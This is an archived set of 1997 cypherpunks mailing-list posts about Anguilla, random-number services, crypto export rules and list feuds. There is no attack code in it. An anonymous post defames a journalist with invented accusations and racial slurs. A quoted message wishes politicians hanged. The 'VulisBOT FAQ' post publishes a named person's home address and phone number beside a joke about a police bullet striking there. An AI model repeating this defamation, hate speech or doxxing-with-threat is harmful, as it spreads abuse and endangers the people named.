Date: Mon, 10 Mar 1997 05:31:10 -0800 (PST)
To: lucifer@dhp.com (lucifer Anonymous Remailer)
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101255.HAA17283@dhp.com>
Message-ID: <199703101324.HAA15370@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


lucifer Anonymous Remailer wrote:
> > distributing it via this list, I still consider it copyrighted material,
> > for what that's worth. It will eventually be published, in some form, in a
> > magazine, as part of a much longer article.
> 
> Right - Chris Platt wants everybody to believe that he's a journalist.
> Just ask all the people on sci.cryo who think he's just a lying crook.
> If the drunkard publishes this crap, it'll be at his own expense.

Hey, there is no such newsgroup -- sci.cryo.

I suggest that interested readers check out DejaNews and make sure.

... rest deleted ...

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 10 Mar 1997 04:55:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: More proof that Charles Platt is a pathological liar and a crook
Message-ID: <199703101255.HAA17283@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


The pathological liar Charles Platt <cp@panix.com> posted the following
racist garbage to the "cypherpunks@toad.com" mailing list:

> I've been writing up my week in Anguilla, including a digested version of
> the interviews I did with the Minister of Finance and the owner of the
> local bank. I append this text below. Please note that although I am

It was very poor judgment on Minister's part to meet with the pathological
liar and an alcoholic  - Charles Platt.

> distributing it via this list, I still consider it copyrighted material,
> for what that's worth. It will eventually be published, in some form, in a
> magazine, as part of a much longer article.

Right - Chris Platt wants everybody to believe that he's a journalist.
Just ask all the people on sci.cryo who think he's just a lying crook.
If the drunkard publishes this crap, it'll be at his own expense.

> More to the point, this is UNCORRECTED text, probably containing spelling
> errors, and Vince Cate or Bob Hettinga may well be able to correct some
> factual errors, in which case I encourage them to do so.
>
> --Charles Platt

What a maroon. Does the FBI monitor this mailing list? They better
find out why he's suddenly interested in money laundering. Is Charles
Platt dealing drugs too?

>      Monday evening, there's a cocktail party on Road Bay,

Of course Charles Platt would be found at a cocktail party.

Did he get drunk like a skunk again and shout obscenities at the guests?

Did he get arrested by Anguila police this time?

> where pirates, rum smugglers, and slave traders once made
> landfall and the ocean is such a vivid azure, it looks
> artificially enhanced. Everyone gathers in a colorfully
> painted shack out on the white-sand beach, where a bar serves
> free margaritas and bad steel band music plays from cheap

I bet Charles Platt had at least a dozen before he switched to
Long Islands Ice Teas. Too bad they didn't serve coke at this party.

Did Charles Platt bring his own coke and try to sell it to the guests?

> loudspeakers as the sun goes down.
>      The party is being thrown by Lynwood Bell, a stern but
> hearty character who's the only one wearing a tie. He
> projects an image of dignity and respectability, which is
> appropriate since he owns a bank.

It was very foolish of Lynwood ever to talk to Charles Platt,
because Charles Platt is a crackpot and a pathological liar.

>      "Anguilla used to have a large number of banks," he
> tells me. "In fact, there were 47. But several years ago a
> British commission reviewed their records, and today only
> mine remains. The rest were snuffed out or left voluntarily."
>      Anguilla still retains a British governor who can
> veto local legislation. "I like that it's under the eye of
> the British," Bell claims. "It would be much harder to
> corrupt the government here than in some other Caribbean
> countries."
>      He won't name names, but I suspect he's thinking of
> islands such as Antigua or St. Kitts, where there have been
> some memorable scandals.

Alcoholic degenerate Charles Platt is a patholigical liar who probably
twisted everything poor Lynwood said.

>      I ask Bell to what extent his bank assures privacy. "The
> country does have strong secrecy laws," he says, sounding
> very cautious, "but the theme that is more--ah--appropriate
> for your readers is that we do not provide secrecy from money
> laundering and fraud."
>      Bell used to be the country staff sales manager in
> Canada for IBM, so he has no trouble seeing "an expanse of
> possibilities" to be opened up by the Internet. "I think the
> main barriers to financial transactions on the net are fear,
> uncertainty, and greed. People think they are protecting
> their existing highly profitable operations instead of
> realizing that if they open the doors they would have ten
> times as much business."

Charles Platt was drunk like a skunk when Lynwood allegedly said this.
Did he bring a tape recorder or did he just make up the whole quote?

>      And Bell outlines a vision that sounds remarkably
> similar to Cate's. In fact, come to think of it, he may have
> acquired it from Cate. "Companies are going to want to set up
> their business on the Internet in a country where they get
> freedom from taxation," he says.
>      But if some people put a web page on Vincent Cate's
> server, form a corporation in Anguilla, and open at account
> at Lynwood Bell's bank, does that really exempt them from
> American corporate taxes, bearing in mind that physically
> they never leave the United States?

I bet Lynwood is going to be very embarrased when he finds out
that he was interviewed by a crook and a pathological liar.

In fact, Lynwood already announced that he never said anything
remotely resembling the long quotes Charles Platt attributed
to him. Platt just made up all these quotes. Liar!

>      "Quite possible," claims Bell. "Tax authorities always
> ask if there is 'mind and management' in a country, or just
> nominees doing things. A server here, with transactions going
> through it, adds to the mind and management. If an offer of
> money is made on Vince's web site, under British common law,
> the offer was made in Anguilla. If the offer is accepted, I
> define that as where we check the person's credit. We do the
> credit check from here--electronically, of course. The only
> way that British or U.S. authorities could object would be if
> there were physical goods moving from here into those
> countries, in which case they would impose a customs tax."
>      So, Bell has his niche market carefully mapped out, and
> now he's just waiting for net businesses to realize what a
> deal they're missing. (He isn't interested in individuals
> wanting private bank accounts, though; corporate customers
> only need apply.)

Of course Lynwood doesn't want Charles Platt's bank account.
The money Charles Platt wanted to depost in Anguila was
stolen from Platt's former business partners and clients
of his fraudelent "cryocare" business.

Charles Platt is a crook and is primarily interested in
money laundering. Lynwood stopped talking to Charles
Platt after he realized that he was drunk like a skunk.

>      Meanwhile, the Honorary Victor Banks, Minister of
> Finance, Planning, and Economic Development in the Government
> of Anguilla, is also hanging out at the party, a barrel-

Charles Platt is so stupid, he can't spell "Honorable".

> chested man wearing an open-necked checked shirt and
> brown pants. He's treating all the guests with scrupulous
> respect--even the hairiest types who look twisted and
> paranoid, because for all he knows, these people are helping
> to mold online commerce, and Anguilla wants a piece of it.

The only person who wasn't treated with any respect was Charles Platt
himself, because the twisted and paranoid crackpot got drunk and was
shouting obscenities at the guests. Anybody who refused to talk to
Charles Platt because he was drunk and is known to be a liar and a
crook got labeled "twisted and paranoid".

>      Banks tells me he is computer-literate (he owns a
> Gateway 2000, "with a Pentium processor," he adds quickly).
> Then he trots out a string of earnest platitudes. "Regardless
> of restrictions imposed by US and european countries, this
> emerging technology will eventually win out. Internet-based
> commerce is a very important issue. Here in Anguilla we are
> well situated for it. Our banks are well regulated, clean,
> secure, we are very vigilant of criminal activity, we have
> strong rules against money laundering and traffic in illegal
> drugs. We have mutual legal assistance with the U.S. that
> allows them to get information from us about any clientele
> involved in criminal activity, although they can't go on
> fishing expeditions to find out about tax avoidance."

Poor Banks really regrets having spoken to the racist lying crackpot
Charles Platt. In another article Platt wrote that Banks isn't fit to be
a minister because he knows too much:

>      Banks seems blissfully unaware that most of the
> cryptonerds around him probably see nothing wrong with money
> laundering and illegal drugs, and view all governments as an
> archaic encrumbrance ripe for demolition. I can't see Victor
> Banks sympathizing with this libertarian attitude, and indeed
> it turns out that he obtained his masters degree in economics
> at The New School for Social Research in New York City, where
> the graduate faculty promotes Marxist economic theory,
> attracting many students from some Latin American countries.

Right - Charles Platt is a high school dropout who bought his B.A. in
journalism from a mail order college advertized in the National
Enquirer. Platt is threatened by "spics" and "niggers" who graduated
high school and know more than he does about economic theories.

>      When I mention this to Banks, he simply denies it. "My
> education was not left-wing," he says. But I happen to teach
> at The New School's computer lab, so I have personal

The fact that New School has a drunkard teaching students how to insert
a floppy in a PC and how to bring up Microsoft Word reflects very badly
on this school. They should fire Charles Platt at once to avoid further
embarassment.

> experience of its politics. Of course Banks may be a late
> convert to market economics, just like Deng Xiaopeng. On the

It takes a very sick mind to conclude that since 20 years ago the
Minister of Finance went to the same school that later was foolish
enough to hire Charles Platt to teach Microsoft Office, and Platt has
noticed Marxists there, that the Minister is anything close to a Marxist
or to assume anything at all about Anguilla. After all, Platt is
currently near this school, so by his twisted and paranoid logic he must
have caught the infection too.

> other hand, Anguilla's government doesn't seek competitive
> bids for contracts, maintains a state-owned radio station, and
> allows Cable and Wireless to have a comfortable monopoly

The USA had a monopoly phone company not that long ago.

> of the phone system, with the result that calling rates are
> extortionate and you have to wait three months to get a
> phone installed. Cable and Wireless have even deactivated all the pound
> keys and star keys on Anguillan phones so that no one can use
> United States call-back services.

This claim by Charles Platt was shown to be another lie.

>      Something tells me that when Anguilla begins to
> understand what the net is _really_ all about, the
> government's enthusiasm may become tempered with caution--
> or even (perish the thought!) protectionism.

Who cares what Charles Platt thinks - he's just an alcoholic crackpot.

Perpetually drunk, Charles Platt has been spamming Usenet with ads for
his phoney 'cryocare' business - freezeing dead bodies so they can be
revived in the future. Many former business partners and victims of his
scams have exposed Charles Platt as a liar and a crook. Now Charles
Platt wants to diversify into money laundering. Someone, call the FBI.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 10 Mar 1997 06:22:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hot and cold running randomness
Message-ID: <v0302091baf49befd4bc7@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



>From Keith Dawson's Tasty Bits from the Technology Front....

Cheers,
Bob Hettinga


> ..Hot and cold running randomness
>
>     Perhaps for the first time, anyone with an Internet connection can
>     tap a source of true randomness. The creator of HotBits [16], John
>     Walker <kelvin@fourmilab.ch>, describes it as
>
>       > an Internet resource that brings genuine random numbers, gen-
>       > erated by a process fundamentally governed by the inherent
>       > uncertainty in the quantum mechanical laws of nature, directly
>       > to your computer... HotBits are generated by timing successive
>       > pairs of radioactive decays... You order up your serving of
>       > HotBits by filling out a [Web] request form... the HotBits
>       > server flashes the random bytes back to you over the Web.
>
>     Walker modified an off-the-shelf radiation detector to interface to
>     a PC-compatible serial port, and ran a cable three floors down from
>     his office to a converted 70,000-litre subterranean water cistern
>     with metre-thick concrete walls, where the detector nestles with a
>     60-microcurie Krypton-85 radiation source.
>
>     If you're in the mood for an anti-Microsoft rant of uncommon elo-
>     quence, Walker can supply that too [17].
>
>     Thanks to Keith Bostic <bostic@bostic.com> for the word on this de-
>     lightful service.
>
>     [16] <URL:http://www.fourmilab.ch/hotbits/>
>     [17] <URL:http://www.fourmilab.ch/hotbits/source/hotbits-c.html>
>     ____________________


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 10 Mar 1997 08:37:07 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101255.HAA17283@dhp.com>
Message-ID: <Pine.A41.3.95.970310093034.80220C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vulis time to take your pill.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 10 Mar 1997 06:55:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: FCBA Interactive Media Committee Brown Bag Lunches
Message-ID: <v03020929af49cdcec716@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


MIME-Version: 1.0
Date:         Mon, 10 Mar 1997 08:23:05 -0800
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Robert Cannon <cannon@DC.NET>
Subject:      FCBA Interactive Media Committee Brown Bag Lunches
To:           CYBERIA-L@LISTSERV.AOL.COM

FCBA Interactive Media Practice Brown Bag Lunches in Washington DC
[from the FCBA Newsletter (March 1997)]

March 12: Robert Holleyman
May 15: Prof David Post

On Wednesday, March 12, the Interactive Media Practice of the Federal
Communications Bar Association will hold a brown bag luncheon meeting
with guest speaker Robert Holleyman, President of the Software Business
Alliance.  Mr. Holleyman will discuss "Encryption on the Internet."  The
meeting will be held at Siemens Corporation, 701 Pennsylvania Avenue,
NW, beginning at noon.  Please RSVP to Cheryl Steadley, (202) 434-4805,
if you can attend.

On Thursday, May 15, the committee will hold another brown bag luncheon
meeting with Professor David Post, Visiting Association Professor of
Law, Georgetown University Law Center, and Co-Director of the Cyberspace
Law Institute.  Prof. Post will discuss his paper "Law and Borders - The
Rise of Law in Cyberspace." The meeting will be held at the Federal
Communications Commission, 1919 M Street, NW, Room 845, beginning at
noon.  Please RSVP to Marie Moyd, 202-418-2100, if you can attend.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 10 Mar 1997 07:27:49 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Pro-CODE Bill could make things worse!
Message-ID: <199703101527.HAA22155@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone calling themselves "Tim May" wrote:
> The only solution is to use crypto anarchy to destabilize the system and,
> hopefull, see them swinging by their necks in front of the Washington
> Monument. Nearly every politician I'm aware of has richly earned the death
> penalty, and I hope to see in my lifetime justice carried out.

Tim:

It looks like Jim Bell is faking mail from you to the list.

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "networks@vir.com" <networks@vir.com>
Date: Mon, 10 Mar 1997 08:04:21 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Anguilla is not Marxist!
Message-ID: <01BC2D41.A439B220@ipdyne21.vir.com>
MIME-Version: 1.0
Content-Type: text/plain



Just an interesting point here about the 
absence of * and # keys on Anguilla's 
phones...  

The US is not immune from similar anti-
competitive tactics at pay phones.  A number
of new pay phones now have only numbers on
their keypads (no letters).  The reasoning
behind this is that people will not be able to
place their long distance charges though
other companies (e.g. 1-800 CALL ATT etc.).


Alan
networks@vir.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 10 Mar 1997 08:06:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES_pon
Message-ID: <1.5.4.32.19970310155939.006c656c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


3-10-97

"U.S. Diplomat in Germany Reported Expelled for Spying"

   A U.S. diplomat is reported to have been expelled
   from Bonn, after being accused of committing economic 
   espionage against Germany, one of Washington's 
   staunchest allies. 

-----

DES_pon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 08:10:32 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Russophobia
In-Reply-To: <R8NB4D175w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970310111134.6247A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 9 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> And now for something crypto-relevant:
> 
> I want to set up an easy-to-use, not necessarily very secure, anon server
> at dm.com. Can someone please send me some source code (or pointer thereto).
> (I mean, a system similar to what Julf used to have on anon.penet.fi, not
> mixmaster, etc - I know where these are.)

And who would trust you with their privacy?  Lemme guess you got tired of 
using other people's anonymous remailers to send your silly spams and now 
you'll use your own and claim others have spammed the list?

Go away Vebis!

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 08:15:23 -0800 (PST)
To: Vebis The Bunghole KOTM <dlv@bwalk.dm.com>
Subject: Re: Something is genetically wrong with Vebis
In-Reply-To: <9703092356.AA01951@uu.psi.com>
Message-ID: <Pine.SUN.3.91.970310111401.6247B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 9 Mar 1997 dlv@bwalk.dm.com wrote:

> Uh, huh huh, sticking my head in the microwave while it is on is
> so cool. huh huh, huh huh, huh huh,

Do it again Vebis, that was cool.  Huh huh, huh huh, huh huh.  Your 
ROT13'ed brained is showing signs of intelligence again - too bad it is 
only as intelligent as a KGB agent's left tesitcle after it has been 
stepped on.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 08:49:13 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Something is genetically wrong with subhuman Vulis
In-Reply-To: <g03B4D188w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970310114926.6247C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 9 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> 
> > Vulis what has this to do with cypherpunks
> 
> What has Arsen "Ray" Arachelian to do with cypherpunks?
> 
> Nothing, because he doesn't know anything about cryptography.

Uh huh huh, Vebis you iz sooo smart, huh huh, huh huh, I am sooo 
impressed by you. Uh huh, huh huh.  Get your brains out of the microwave, 
they are stinking up the place.

> Graham-John, when I spoke to you on the phone, you sounded like
> a reasonable guy.  Right now you're behaving like a total twit.
> People are probably killfiling you by the  dozen. It's just too
> bad, because I know from alt.2600 that you're capable of saying
> something interesting sometimes.  Please stop being an asshole.

You are projecting your attributes on others again.  Look closely in that 
mirror Vebis, that is a reflection of you, not of Graham-John.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 09:33:38 -0800 (PST)
To: ichudov@algebra.com
Subject: VulisBOT FAQ
In-Reply-To: <199703101324.HAA15370@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970310115850.6247D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 10 Mar 1997 ichudov@algebra.com wrote:

> lucifer Anonymous Remailer wrote:
> > > distributing it via this list, I still consider it copyrighted material,
> > > for what that's worth. It will eventually be published, in some form, in a
> > > magazine, as part of a much longer article.
> > 
> > Right - Chris Platt wants everybody to believe that he's a journalist.
> > Just ask all the people on sci.cryo who think he's just a lying crook.
> > If the drunkard publishes this crap, it'll be at his own expense.
> 
> Hey, there is no such newsgroup -- sci.cryo.
> 
> I suggest that interested readers check out DejaNews and make sure.

Of course, this is more Vulisware generated bullshit.  How can you tell 
if Vulis is lying? He writes messages.

How does VulisWare operate?

VulisWare 1.0 is a lame AI spamming device whose only purpose in life is 
to generate havoc on mailing list.  As of this writing the VulisWare bot 
is only running on the cypherpunks list.

It generates rants, raves and lies about whomever it targets resorting to
ethnic, racist, homophobic, pedophiliac, dandruff oriented, and sometimes
outright outrageously bizzare made up stories.  These are selected by a
complex Pseudo RandomNumber Generator which uses its wife process's PMS
cycle as a seed. 

Failing that, it points out spelling errors.

It does net searches to find out info on the target, then posts the 
target's phone number, address, and employer info online asking that all 
spam the target and their employer. 

If that fails to have any effect, it sends its lies to the targets 
employers and calls up its target employer to find out information on 
them, or to slander them.

If it can't find out anything about the target, it makes up lies of 
outrageous proportions (such as quoted above) and posts them.  
[Apparently the VulisBot has recently watched a Babylon 5, where the Big 
Lie algorythm is used agains B5 - of all things, the big lie issuers 
claimed those who run B5 had cryogenically frozen people.]

It keeps a database of lies used on each target, then repeats the lies 
over and over again - this is attributed to the KGB Big Lie Algorythm 
(TM of the KGB, copyrighted and patented by the KGB).  For those 
unfamiliar with this algorythm, the idea is that if you repeat a big lie 
enough times, people will believe it.

Because of this, it must constantly post anonymous - and tentacle 
versions of the same lie.  Following the tentacles of these other folks 
leads back to dm.com.

Further, one mutation of the VulisBOT is stuck in a loop posting 
small anonymous slander several times a day aimed at Tim May.

Anything the VulisBot says should carry the following warning "WARNING: 
The Surgeon General has determined that reading Vulis sent mail can cause 
stupidity, brain failure, and sometimes laughter.  At no time are you to 
believe anything sent by Vulis or its tentacles."

The VuisBot's only purpose in life is to cause havoc and chaos.  It gets 
pleasure from this.  At times if it is really bored, it will send huge 
texts of crap to the list in hopes of filling up the mailboxes of those 
subscribed to the list.

In truth, the VulisBot has only succeded to strengthen the  cypherpunks 
movement as several mailing lists have now been created.  Where 
originally there was one, there are now three!  VulisBot believes it is 
hurting the list.  In truth it is helping the cypherpunks movement, 
though granted it is causing much spam and noise, it has only made us 
stronger.

Short of an accidental NYPD hollow point bullet striking by accident in
vecinity of 67-67 Burns Street, Forrest Hills, NY 11375 (718) 261-6839,
there is a known cure: To receive VulisFree mail (*) you may subscribed to
one of several filtered mailing lists.  Info on one such list is available
by pointing your web browser at http://www.sundernet.com/crypto.html. 
This list in particular has grealy grown in size due to VulisBot's
activities. 

Other cures: setup procmail or another mail filter and immediatly delete 
anything with the word Vulis in the header.


(*) Even though Vulis is known to be insane, as all insane people are 
known to, even Vulis occasionally (once in a blue moon) will post a 
coherent, sane, and useful message.  The filtered cypherpunks list 
reserves the right to forward such mail.  Granted, this almost never 
happens, do not be shocked if it does.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 10 Mar 1997 08:35:35 -0800 (PST)
To: Charles Platt <cp@panix.com>
Subject: Re: Anguilla
In-Reply-To: <199703101510.TAA22641@ns2.emirates.net.ae>
Message-ID: <Pine.LNX.3.95.970310124029.8466A-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



Vince:
> I am going to have to check tomorrow and see about thse star and
> pound keys.  It would amuse me if we had seen the birth of an urban
> legend.

It is really true.  Cable and Wireless has disabled the pound and star
keys on *all* of the pay phones in the whole country (20 or so).  I am
sort of amazed because I have been here 2.5 years and never heard of this
till this last week.  I don't use pay phones much, but I wonder if maybe
this is a new thing. 

   -- Vince






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Mon, 10 Mar 1997 09:59:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: # (was Re: Anguilla)
In-Reply-To: <199703101510.TAA22641@ns2.emirates.net.ae>
Message-ID: <199703101746.MAA12603@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



> [...] BTW a 'pound' symbol is NOT the same as a 'hatch', fer chrissake!
> While I'm on the soapbox, a 'hash' is NOT a 'hatch' as well ... but that's
> a losing battle.

What, you can't deal with a language that has synonyms or something?

>From the Hacker Jargon file (2.9.10):

> :ASCII:: [American Standard Code for Information Interchange]
>
> [...]
>
>  #
>     Common: number sign; pound; pound sign; hash; sharp; {crunch}; hex;
>     [mesh].  Rare: grid; cross-hatch; oc-to-thorpe; flash; <square>,
>     pig-pen; tic-tac-toe; scratchmark; thud; thump; {splat}.
>
> [...]


Note that the Jargon File doesn't list "#" as a "hatch" at all, and calls
"cross-hatch" is rare.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 10 Mar 1997 11:31:07 -0800 (PST)
To: Tom Allard <m1tca00@FRB.GOV>
Subject: Re: # (was Re: Anguilla)
In-Reply-To: <199703101746.MAA12603@bksmp2.FRB.GOV>
Message-ID: <Pine.SUN.3.91.970310143217.6247E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 10 Mar 1997, Tom Allard wrote:

> > :ASCII:: [American Standard Code for Information Interchange]
> >
> > [...]
> >
> >  #
> >     Common: number sign; pound; pound sign; hash; sharp; {crunch}; hex;
> >     [mesh].  Rare: grid; cross-hatch; oc-to-thorpe; flash; <square>,
> >     pig-pen; tic-tac-toe; scratchmark; thud; thump; {splat}.
> >
> > [...]
> 
> 
> Note that the Jargon File doesn't list "#" as a "hatch" at all, and calls
> "cross-hatch" is rare.

A friend of mine calls this "the little fence"; this was coined by a 
clueless client who logged in as root, but didn't know what to do next.  
As in "Ok, I am at the little fence, what now?"

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Mon, 10 Mar 1997 12:24:52 -0800 (PST)
To: cypherpunks@cyberpass.net>
Subject: Re: More proof that Charles Platt is... etc etc etc
In-Reply-To: <199703101255.HAA17283@dhp.com>
Message-ID: <Pine.SUN.3.91.970310151800.11563B-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 10 Mar 1997, Vulis wrote:

> Right - Charles Platt is a high school dropout who bought his B.A. in
> journalism from a mail order college advertized in the National
> Enquirer.

I do not have a B.A. in journalism and never attended an American high
school, but with the exception of this small error, Vulis paints a pretty
accurate picture. 

Of course, I may be lying pathologically, and am probably drunk.

--CP

> Who cares what Charles Platt thinks - he's just an alcoholic crackpot.

I rather like this. May I use this as my .sig line, or would you claim 
that it is protected by copyright? If so, could I purchase a license to 
use it as my .sig line? Just tell me where to send the check.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 10 Mar 1997 12:29:16 -0800 (PST)
To: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Subject: Wassenaar Arrangement and "sensitive dual-use items"
In-Reply-To: <199703092021.FAA11440@ns.barrier-free.co.jp>
Message-ID: <v03007806af4a1d46115f@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


I got a copy of what I thought was the Arrangement this morning from a
source within the State Department.

It's 16 pages, with five appendices and a few pages of explanatory materials.

One of my favorite parts, sure to fuel cypherparanoia: "IX.
Confidentiality. Information exchanged will remain confidential and will be
treated asd privileged diplomatic communications. This confidentiality will
extend to any use made of the information and any discussion among
Participating states."

However, my copy seems to be much shorter than the one Hayashi has an
excerpt of, and one of the appendices -- the last one, Appendix 5 -- is
empty. That's the one entitled "List of Dual-Use Goods and Technologies."

Crypto is not mentioned anywhere by name in this document. Rather, the code
phrase seems to be "sensitive dual-use items" that could be "a cause for
serious concern to the Participating States."

-Declan



At 5:21 AM +0900 3/10/97, Hayashi_Tsuyoshi wrote:
>Now I uploaded a short short memo of CATEGORY 5 PATR 2 of
>the Wassenaar Arrangement.
>
>  http://www.barrier-free.co.jp/a2z/c/
>    CRYPTON/box1997/19970310-1-wassenaar-cat5.2.html
>
>If someone know (have) full text, please tell me.
>
># To: Mr. John Young:
># If your are OK, please add this to your crypto-concerned
># lib. and redistribute on your web page.  Thanks.
>
>///hayashi
>
>P.S.
>Sorry for my delay job.



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roderick Simpson <rod@wired.com>
Date: Mon, 10 Mar 1997 16:15:27 -0800 (PST)
